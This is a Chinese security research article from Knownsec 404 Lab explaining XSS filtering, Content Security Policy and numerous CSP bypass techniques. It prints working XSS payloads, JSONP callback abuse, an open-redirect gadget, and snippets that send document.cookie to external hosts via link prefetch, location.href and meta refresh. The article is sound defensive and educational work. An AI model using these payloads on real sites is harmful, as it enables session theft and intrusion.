作者:LoRexxar'@知道創宇404實驗室
英文版本:http://www.bjnorthway.com/939/
0x01 前端防御的開始
對于一個基本的XSS漏洞頁面,它發生的原因往往是從用戶輸入的數據到輸出沒有有效的過濾,就比如下面的這個范例代碼。
<?php
$a = $_GET['a'];
echo $a;
對于這樣毫無過濾的頁面,我們可以使用各種方式來構造一個xss漏洞利用。
a=<script>alert(1)</script>
a=<img/src=1/onerror=alert(1)>
a=<svg/onload=alert(1)>
對于這樣的漏洞點來說,我們通常會使用htmlspecialchars函數來過濾輸入,這個函數會處理5種符號。
& (AND) => &
" (雙引號) => " (當ENT_NOQUOTES沒有設置的時候)
' (單引號) => ' (當ENT_QUOTES設置)
< (小于號) => <
> (大于號) => >
一般意義來說,對于上面的頁面來說,這樣的過濾可能已經足夠了,但是很多時候場景永遠比想象的更多。
<a href="{輸入點}">
<div style="{輸入點}">
<img src="{輸入點}">
<img src={輸入點}>(沒有引號)
<script>{輸入點}</script>
對于這樣的場景來說,上面的過濾已經沒有意義了,尤其輸入點在script標簽里的情況,剛才的防御方式可以說是毫無意義。
一般來說,為了能夠應對這樣的xss點,我們會使用更多的過濾方式。
首先是肯定對于符號的過濾,為了能夠應對各種情況,我們可能需要過濾下面這么多符號
% * + , – / ; < = > ^ | `
但事實上過度的過濾符號嚴重影響了用戶正常的輸入,這也是這種過濾使用非常少的原因。
大部分人都會選擇使用htmlspecialchars+黑名單的過濾方法
on\w+=
script
svg
iframe
link
…
這樣的過濾方式如果做的足夠好,看上去也沒什么問題,但回憶一下我們曾見過的那么多XSS漏洞,大多數漏洞的產生點,都是過濾函數忽略的地方。
那么,是不是有一種更底層的防御方式,可以從瀏覽器的層面來防御漏洞呢?
CSP就這樣誕生了...
0x02 CSP(Content Security Policy)
Content Security Policy (CSP)內容安全策略,是一個附加的安全層,有助于檢測并緩解某些類型的攻擊,包括跨站腳本(XSS)和數據注入攻擊。
CSP的特點就是他是在瀏覽器層面做的防護,是和同源策略同一級別,除非瀏覽器本身出現漏洞,否則不可能從機制上繞過。
CSP只允許被認可的JS塊、JS文件、CSS等解析,只允許向指定的域發起請求。
一個簡單的CSP規則可能就是下面這樣
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");
其中的規則指令分很多種,每種指令都分管瀏覽器中請求的一部分。

每種指令都有不同的配置

簡單來說,針對不同來源,不同方式的資源加載,都有相應的加載策略。
我們可以說,如果一個站點有足夠嚴格的CSP規則,那么XSS or CSRF就可以從根源上被防止。
但事實真的是這樣嗎?
0x03 CSP Bypass
CSP可以很嚴格,嚴格到甚至和很多網站的本身都想相沖突。
為了兼容各種情況,CSP有很多松散模式來適應各種情況。
在便利開發者的同時,很多安全問題就誕生了。
CSP對前端攻擊的防御主要有兩個:
1、限制js的執行。
2、限制對不可信域的請求。
接下來的多種Bypass手段也是圍繞這兩種的。
1
header("Content-Security-Policy: default-src 'self '; script-src * ");
天才才能寫出來的CSP規則,可以加載任何域的js
<script src="http://lorexxar.cn/evil.js"></script>
隨意開火
2
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
最普通最常見的CSP規則,只允許加載當前域的js。
站內總會有上傳圖片的地方,如果我們上傳一個內容為js的圖片,圖片就在網站的當前域下了。
alert(1);//
直接加載圖片就可以了
<script src='upload/test.js'></script>
3
header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ ");
當你發現設置self并不安全的時候,可能會選擇把靜態文件的可信域限制到目錄,看上去好像沒什么問題了。
但是如果可信域內存在一個可控的重定向文件,那么CSP的目錄限制就可以被繞過。
假設static目錄下存在一個302文件
Static/302.php
<?php Header("location: ".$_GET['url'])?>
像剛才一樣,上傳一個test.jpg 然后通過302.php跳轉到upload目錄加載js就可以成功執行
<script src="static/302.php?url=upload/test.jpg">
4
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
CSP除了阻止不可信js的解析以外,還有一個功能是組織向不可信域的請求。
在上面的CSP規則下,如果我們嘗試加載外域的圖片,就會被阻止
<img src="http://lorexxar.cn/1.jpg"> -> 阻止
在CSP的演變過程中,難免就會出現了一些疏漏
<link rel="prefetch" href="http://lorexxar.cn"> (H5預加載)(only chrome)
<link rel="dns-prefetch" href="http://lorexxar.cn"> (DNS預加載)
在CSP1.0中,對于link的限制并不完整,不同瀏覽器包括chrome和firefox對CSP的支持都不完整,每個瀏覽器都維護一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP規則。
5
無論CSP有多么嚴格,但你永遠都不知道會寫出什么樣的代碼。
下面這一段是Google團隊去年一份關于CSP的報告中的一份范例代碼
// <input id="cmd" value="alert,safe string">
var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));
機緣巧合下,你寫了一段執行輸入字符串的js。
事實上,很多現代框架都有這樣的代碼,從既定的標簽中解析字符串當作js執行。
angularjs甚至有一個ng-csp標簽來完全兼容csp,在csp存在的情況下也能順利執行。
對于這種情況來說,CSP就毫無意義了
6
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
或許你的站內并沒有這種問題,但你可能會使用jsonp來跨域獲取數據,現代很流行這種方式。
但jsonp本身就是CSP的克星,jsonp本身就是處理跨域問題的,所以它一定在可信域中。
<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>
/* API response */
alert(document.domain);//{"var": "data", ...});
這樣你就可以構造任意js,即使你限制了callback只獲取\w+的數據,部分js仍然可以執行,配合一些特殊的攻擊手段和場景,仍然有危害發生。
唯一的辦法是返回類型設置為json格式。
7
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");
比起剛才的CSP規則來說,這才是最最普通的CSP規則。
unsafe-inline是處理內聯腳本的策略,當CSP中制定script-src允許內聯腳本的時候,頁面中直接添加的腳本就可以被執行了。
<script>
js code; //在unsafe-inline時可以執行
</script>
既然我們可以任意執行js了,剩下的問題就是怎么繞過對可信域的限制。
1 js生成link prefetch
第一種辦法是通過js來生成link prefetch
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);
這種辦法只有chrome可以用,但是意外的好用。
2 跳轉 跳轉 跳轉
在瀏覽器的機制上, 跳轉本身就是跨域行為
<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">
通過跨域請求,我們可以把我們想要的各種信息傳出
3 跨域請求
在瀏覽器中,有很多種請求本身就是跨域請求,其中標志就是href。
var a=document.createElement("a");
a.+escape(document.cookie);
a.click();
包括表單的提交,都是跨域請求
0x04 CSP困境以及升級
在CSP正式被提出作為減輕XSS攻擊的手段之后,幾年內不斷的爆出各種各樣的問題。
2016年12月Google團隊發布了關于CSP的調研文章《CSP is Dead, Long live CSP》
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf
Google團隊利用他們強大的搜索引擎庫,分析了超過160w臺主機的CSP部署方式,他們發現。
加載腳本最常列入白名單的有15個域,其中有14個不安全的站點,因此有75.81%的策略因為使用了了腳本白名單,允許了攻擊者繞過了CSP。總而言之,我們發現嘗試限制腳本執行的策略中有94.68%是無效的,并且99.34%具有CSP的主機制定的CSP策略對xss防御沒有任何幫助。
在paper中,Google團隊正式提出了兩種以前被提出的CSP種類。
1、nonce script CSP
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' ");
動態的生成nonce字符串,只有包含nonce字段并字符串相等的script塊可以被執行。
<script nonce="{random-str}">alert(1)</script>
這個字符串可以在后端實現,每次請求都重新生成,這樣就可以無視哪個域是可信的,只要保證所加載的任何資源都是可信的就可以了。
<?php
Header("Content-Security-Policy: script-src 'nonce-".$random." '"");
?>
<script nonce="<?php echo $random?>">
2、strict-dynamic
header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");
SD意味著可信js生成的js代碼是可信的。
這個CSP規則主要是用來適應各種各樣的現代前端框架,通過這個規則,可以大幅度避免因為適應框架而變得松散的CSP規則。
Google團隊提出的這兩種辦法,希望通過這兩種辦法來適應各種因為前端發展而出現的CSP問題。
但攻與防的變遷永遠是交替升級的。
1、nonce script CSP Bypass
2016年12月,在Google團隊提出nonce script CSP可以作為新的CSP趨勢之后,圣誕節Sebastian Lekies提出了nonce CSP的致命缺陷。
Nonce CSP對純靜態的dom xss簡直沒有防范能力
http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
Web2.0時代的到來讓前后臺交互的情況越來越多,為了應對這種情況,現代瀏覽器都有緩存機制,但頁面中沒有修改或者不需要再次請求后臺的時候,瀏覽器就會從緩存中讀取頁面內容。
從location.hash就是一個典型的例子
如果JS中存在操作location.hash導致的xss,那么這樣的攻擊請求不會經過后臺,那么nonce后的隨機值就不會刷新。
這樣的CSP Bypass方式我曾經出過ctf題目,詳情可以看
https://lorexxar.cn/2017/05/16/nonce-bypass-script/
除了最常見的location.hash,作者還提出了一個新的攻擊方式,通過CSS選擇器來讀取頁面內容。
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")} [...]
當匹配到對應的屬性,頁面就會發出相應的請求。
頁面只變化了CSS,純靜態的xss。
CSP無效。
2、strict-dynamic Bypass
2017年7月 Blackhat,Google團隊提出了全新的攻擊方式Script Gadgets。
header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");
Strict-dynamic的提出正是為了適應現代框架 但Script Gadgets正是現代框架的特性

Script Gadgets 一種類似于短標簽的東西,在現代的js框架中四處可見
For example:
Knockout.js
<div data-bind="value: 'foo'"></div>
Eval("foo")
<div data-bind="value: alert(1)"></dib>
bypass
Script Gadgets本身就是動態生成的js,所以對新型的CSP幾乎是破壞式的Bypass。

0x05 寫在最后
說了一大堆,黑名單配合CSP仍然是最靠譜的防御方式。
但,防御沒有終點...
0x06 ref
- [1] http://www.bjnorthway.com/91/
- [2] http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
- [3] https://xianzhi.aliyun.com/forum/read/523.html
- [4] https://lorexxar.cn
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/423/